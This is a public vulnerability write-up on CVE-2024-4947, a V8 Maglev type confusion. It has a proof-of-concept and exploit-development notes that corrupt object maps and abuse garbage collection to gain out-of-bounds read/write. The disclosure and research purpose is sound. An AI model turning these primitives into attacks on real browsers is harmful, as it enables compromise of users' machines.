author: @buptsb, @mistymntncop
2024-05-19 09:07:47
https://x.com/buptsb/status/1792106425407389963

This writeup is the FIRST public disclosure for this vulnerability.

Info

https://chromereleases.googleblog.com/2024/05/stable-channel-update-for-desktop_15.html
[TBD][340221135] High CVE-2024-4947: Type Confusion in V8. Reported by Vasily Berdnikov (@vaber_b) and Boris Larin (@oct0xor) of Kaspersky on 2024-05-13
Google is aware that an exploit for CVE-2024-4947 exists in the wild.

https://chromium-review.googlesource.com/c/v8/v8/+/5534518

git checkout 473318dfdb09464902c7633cad03b16431145800 -b CVE-2024-4947

PoC

// run with: `/d8 --allow-natives-syntax --maglev --expose-gc --soft-abort --trace-deopt 22.mjs`
import * as ns from "./22.mjs";

export let c = 0;

function to_fast(o) {
  var dummy = {'unique':5};
  dummy.__proto__ = o;                                                                                                                                                                                                                 
  dummy.__proto__ = o; //OptimizeAsFastPrototype
}
to_fast(ns);

function store(target, v) {
  target.c = v;
}

function createObject() {
  let a = {};
  a.i1 = 1;
  a.i2 = 1;
  a.i3 = 1;
  a.i4 = 1;
  // -----------------
  for (let i = 0; i < 8; i++) {
    a[`p${i}`] = 1;
  }
  return a;
}

function init() {
  let a = createObject();
  a.__proto__ = ns;
  // %DebugPrint(a);
  return a;
}

(function() {
  %PrepareFunctionForOptimization(store);
  store(init(), 0);
  
  %OptimizeMaglevOnNextCall(store);
  store(init(), 0);
})();

function confuse_properties_map(arg) {
  store(arg, 0x1);
}

let a = init();
let arr = [];
arr.push(1.1);
let arr2 = [{}];
confuse_properties_map(a);

gc();

// %DebugPrint(a);
// %DebugPrint(arr);

a.p5 = 1024;
a.p7 = 1024;
%DebugPrint(arr);

// %SystemBreak();

image

where bug happens

source code

PropertyAccessInfo AccessorAccessInfoHelper() {
  ...
  return PropertyAccessInfo::ModuleExport(zone, receiver_map,
                                            cell_ref.value());
}


PropertyAccessInfo PropertyAccessInfo::ModuleExport(Zone* zone,
                                                    MapRef receiver_map,
                                                    CellRef cell) {
  return PropertyAccessInfo(zone, kModuleExport, {} /* holder */,
                            cell /* constant */, {} /* api_holder */,
                            {} /* name */, {{receiver_map}, zone});
}


ReduceResult MaglevGraphBuilder::TryBuildStoreField(...) {
  ...
  ValueNode* store_target;
  if (field_index.is_inobject()) {    <--- false
    store_target = receiver;
  } else {
    // The field is in the property array, first load it from there.
    store_target = AddNewNode<LoadTaggedField>({receiver}, JSReceiver::kPropertiesOrHashOffset);
  }
...
  if (field_representation.IsSmi()) {     <------ field_representation is `none` for a `kModuleExport` AccessInfo
    ...
  } else if (value->use_double_register()) {
    ...
  } else {
    BuildStoreTaggedField(store_target, value, field_index.offset()); <---------- field index offset is 0
  }

}

crash site

0x7fe1e00001d6   196  8b7803               movl rdi,[rax+0x3]                                                                                                                                                                 
0x7fe1e00001d9   199  4903fe               REX.W addq rdi,r14                                                                                                                                                                          
...
0x7fe1e0000225   1e5  8947ff               movl [rdi-0x1],rax           <--- crash                                                                  

$rax is the receiver, [rax+0x3] is receiver’s properties

$r14 seems like to be the ptr compression cage base pointer?
image

properties is a FixedArray, as the write offset is 0, we are writing to FixedArray’s map, which lives in ReadOnlySpace:
image
image

Now we have a primitive: mov [[object_addr + 4] + 0], rax,
which means we could write any integer into a jsobject’s propertyarray’s map field

Research timeline

Failed attempt 1: an oob write using hash value write

As we have a type confusion primitive, then i open the map.h layout,
seems like the only field which could be used in a PropertyArray map is instance_type.
Other fields are for JSObjects.

For maglev optimization to work, we MUST have a fast jsobject,
For a fast jsobject, it could be confused with a dict mode jsobject, which instance_type is dict.
image

So we start grep code with IsPropertyArray():

Try confuse a fast PropertyArray -> Dictionary, then set hash on this fast object,
as the hash store position is different in these two types, we MAY write oob into another array’s length field.
Although the hash value is a random smi, in most times it’s value is greater than 0, so it’s ok to be an array’s length.
image

Now we have another primitive:
oob write any smi value into field index 4(the 5th element) of a propertyarray

failed code snippet 1

demo code using sandbox api:

let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

let dict = {};
dict.a = 1;
delete dict.a;

let dict_properties = memory.getUint32(Sandbox.getAddressOf(dict) + 4, true);
let dict_properties_map_addr = memory.getUint32(dict_properties - 1, true);

let foo = {};
foo.p1 = 1;
foo.p2 = 1;
foo.p3 = 1;
foo.p4 = 1;
foo.p5 = 1;
%DebugPrint(foo);

let properties = memory.getUint32(Sandbox.getAddressOf(foo) + 4, true);
memory.setUint32(properties - 1, dict_properties_map_addr, true);

const ws = new WeakSet();
ws.add(foo);

%SystemBreak();

The fixedarray set aborts in CodeStubAssembler::FixedArrayBoundsCheck(), it’s a CSA_CHECK, not DCHECK.
Cause we will load hash value and compare the value with kNoHashSentinel(int value 0) first,
the fixedarray load in CSA has bound check enabled by default.
image

create hash take 2

Find that we could use map normalization to trigger hash creation:

function set_hash(arg) {
    let sb = {a2222222221: 1, a2222222222 : 1};
    sb.__proto__ = arg;
    delete sb.a2222222222;
}
set_hash(obj);

image

try to create 1-length PropertyArray

This hash value oob write is quite weak:
write smi only, we can’t change any map address to trigger confusion
cause we are doing a CAS alike operation, the hash creation function’s check part needs the field value to be 0 at first
since most propertyarrays has unused elements allocated, we could only write to the second field of the adjacent v8 object
prototype_maps can have 1-length PropertyArray, but can't have transition-tree, so can't be optizmized by ML/TF
image

Most FixedArrays have a empty_fixed_array() alike objects in heap roots

Seems too internal to be controlled from user js

Failed attempt 2: using gc

Two objects are located adjacently after gc,
if one propertyarray’s length is shrinked, the jsarray’s length is intact,
then we may trigger a oob read?

Demo:

let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

let foo = {};
let bar = {};
foo.p1 = 1;
foo.p2 = 1;
foo.p3 = 1;
foo.p4 = 1;
// ---------
foo.p5 = 1;
foo.p6 = 1;
foo.p7 = 1;
foo.p8 = 1;

bar.p1 = 1;
bar.p2 = 1;
bar.p3 = 1;
bar.p4 = 1;
bar.p5 = 1;

%DebugPrint(foo);
%DebugPrint(bar);

properties = memory.getUint32(Sandbox.getAddressOf(foo) + 4, true);
memory.setUint32(properties - 1 + 4, 0x6, true);

// %DebugPrint(foo.p8);

gc();

%DebugPrint(foo);
%DebugPrint(bar);

properties = memory.getUint32(Sandbox.getAddressOf(foo) + 4, true);
memory.setUint32(properties - 1 + 4, 0x12, true);

%DebugPrint(foo.p8);

%SystemBreak();

As we can only override the propertyarray’s map, not the propertyarray itself
and the map of it has variable length(which is 0)

gc take 2

We could confuse a propertyarray’s map -> heapnumber’s map,
then trigger a gc, then the propertyarray’s body would shrink and we have a oob read/write.

Since most (internal) maps are copied from the snapshot blob into heap, and there addresses are fixed.
(the addrs may differ in different chrome versions?)

image

we could create a layout graph:

-------------
jsobject’s properties map
length
<body>
-------------
jsarray map
properties ptr
elements ptr
length            <- p5
-------------
jsarray’s elements map
length            <- p7
<body>
-------------

before gc:
image

after gc:
image

gc after PropertyArray type confused with a string

After calling confuse_properties_map(a), we have set properties map ptr into 0x2f0000000002 (smi value)

Then in gc(), it would take the memory range from 0x2f0000000002-1 as a Map.
Other fields are irrelevant except the instance_type, since that decides which apply function to call.
If it’s not a valid type, the large switch loop would fall into default case and abort.

As the instance_type is 0 for now, it’s INTERNALIZED_TWO_BYTE_STRING_TYPE,
so we will call CALL_APPLY(SeqTwoByteString) to gc this object.

For SeqTwoByteString, the IterateBody is a no-op. GC just move the whole string range from one place
to another.

The layout of a js string is: map | raw_hash_field | int32 length | ...
So the length of this string is 0x02, the whole length of the heapobject is 16(3 * 4 + 2 * 2),
then after gc, propertyarray would have 2 elements inside, other elements are dropped.

pic: <the map from 0x2f0000000002-1>
image

pic:
<SeqTwoByteString, map / raw_hash_field / length / string body>
<PropertyArray, map / length / element 0 / element 1>
image

template <typename ObjectVisitor>
void HeapObject::IterateBodyFast(PtrComprCageBase cage_base, ObjectVisitor* v) {
  Tagged<Map> m = map(cage_base);
  IterateBodyFast(m, SizeFromMap(m), v);
}

template <typename ObjectVisitor>
void HeapObject::IterateBodyFast(Tagged<Map> map, int object_size,
                                 ObjectVisitor* v) {
  BodyDescriptorApply<CallIterateBody>(map->instance_type(), map, *this,
                                       object_size, v);
}

template <typename Op, typename... Args>
auto BodyDescriptorApply(InstanceType type, Args&&... args) {
  switch (type) {
      case kSeqStringTag:
          return CALL_APPLY(SeqOneByteString);
    ...
    default:
UNREACHABLE();	
  }
}

class SeqOneByteString::BodyDescriptor final : public DataOnlyBodyDescriptor {
  ...
}

class DataOnlyBodyDescriptor : public BodyDescriptorBase {
 public:
  template <typename ObjectVisitor>
  static inline void IterateBody(Tagged<Map> map, Tagged<HeapObject> obj,
                                 int object_size, ObjectVisitor* v) {}      <-------- noop here
};

template <class Visitor>
void LiveObjectVisitor::VisitMarkedObjectsNoFail(PageMetadata* page,
                                                 Visitor* visitor) {
  for (auto [object, size] : LiveObjectRange(page)) {
    const bool success = visitor->Visit(object, size);
   }
}

bool LiveObjectRange::iterator::AdvanceToNextMarkedObject() {
  ...
        current_size_ = ALIGN_TO_ALLOCATION_ALIGNMENT(
          current_object_->SizeFromMap(current_map_));
}

int HeapObject::SizeFromMap(Tagged<Map> map) const {
  ...
  if (instance_type == SEQ_TWO_BYTE_STRING_TYPE ||
      instance_type == INTERNALIZED_TWO_BYTE_STRING_TYPE ||
      instance_type == SHARED_SEQ_TWO_BYTE_STRING_TYPE) {
    // Strings may get concurrently truncated, hence we have to access its
    // length synchronized.
    return SeqTwoByteString::SizeFor(
        SeqTwoByteString::unchecked_cast(*this)->length(kAcquireLoad));
  }
}

V8_INLINE constexpr int32_t SeqTwoByteString::SizeFor(int32_t length) {
  return OBJECT_POINTER_ALIGN(SeqTwoByteString::DataSizeFor(length));
}

Stack trace for gc:

#0  v8::internal::CallIterateBody::apply<v8::internal::SeqOneByteString::BodyDescriptor, false, v8::internal::RecordMigratedSlotVisitor> (map=..., obj=..., object_size=20, v=0x5635fee63578) at ../../src/objects/objects-body-descriptors-inl.h:1506
#1  0x00007f6ecd5be46e in v8::internal::BodyDescriptorApply<v8::internal::CallIterateBody, v8::internal::Tagged<v8::internal::Map>&, v8::internal::HeapObject&, int&, v8::internal::RecordMigratedSlotVisitor*&> (type=v8::internal::SEQ_ONE_BYTE_STRING_TYPE, args=@0x7fff5e191ea0: 0x5635fee63578, args=@0x7fff5e191ea0: 0x5635fee63578, args=@0x7fff5e191ea0: 0x5635fee63578, args=@0x7fff5e191ea0: 0x5635fee63578) at ../../src/objects/objects-body-descriptors-inl.h:1165
#2  0x00007f6ecd5be3b5 in v8::internal::HeapObject::IterateBodyFast<v8::internal::RecordMigratedSlotVisitor> (this=0x7fff5e1920f8, map=..., object_size=20, v=0x5635fee63578) at ../../src/objects/objects-body-descriptors-inl.h:1512
#3  0x00007f6ecd5cf6e4 in v8::internal::HeapObject::IterateFast<v8::internal::RecordMigratedSlotVisitor> (this=0x7fff5e1920f8, map=..., object_size=20, v=0x5635fee63578) at ../../src/objects/objects-body-descriptors-inl.h:1479
#4  0x00007f6ecd5cef02 in v8::internal::EvacuateVisitorBase::RawMigrateObject<(v8::internal::EvacuateVisitorBase::MigrationMode)0> (base=0x5635fee63598, dst=..., src=..., size=20, dest=v8::internal::OLD_SPACE) at ../../src/heap/mark-compact.cc:1503
#5  0x00007f6ecd5d0374 in v8::internal::EvacuateVisitorBase::MigrateObject (this=0x5635fee63598, dst=..., src=..., size=20, dest=v8::internal::OLD_SPACE) at ../../src/heap/mark-compact.cc:1626
#6  0x00007f6ecd5d0138 in v8::internal::EvacuateVisitorBase::TryEvacuateObject (this=0x5635fee63598, target_space=v8::internal::OLD_SPACE, object=..., size=20, target_object=0x7fff5e1922e0) at ../../src/heap/mark-compact.cc:1602
#7  0x00007f6ecd5cea9f in v8::internal::EvacuateNewSpaceVisitor::Visit (this=0x5635fee63598, object=..., size=20) at ../../src/heap/mark-compact.cc:1669
#8  0x00007f6ecd5b2761 in v8::internal::LiveObjectVisitor::VisitMarkedObjectsNoFail<v8::internal::EvacuateNewSpaceVisitor> (page=0x5635fee4fd40, visitor=0x5635fee63598) at ../../src/heap/mark-compact.cc:4235
#9  0x00007f6ecd5901e4 in v8::internal::Evacuator::RawEvacuatePage (this=0x5635fee62bd0, page=0x5635fee4fd40) at ../../src/heap/mark-compact.cc:4253
#10 0x00007f6ecd58fe80 in v8::internal::Evacuator::EvacuatePage (this=0x5635fee62bd0, page=0x5635fee4fd40) at ../../src/heap/mark-compact.cc:4162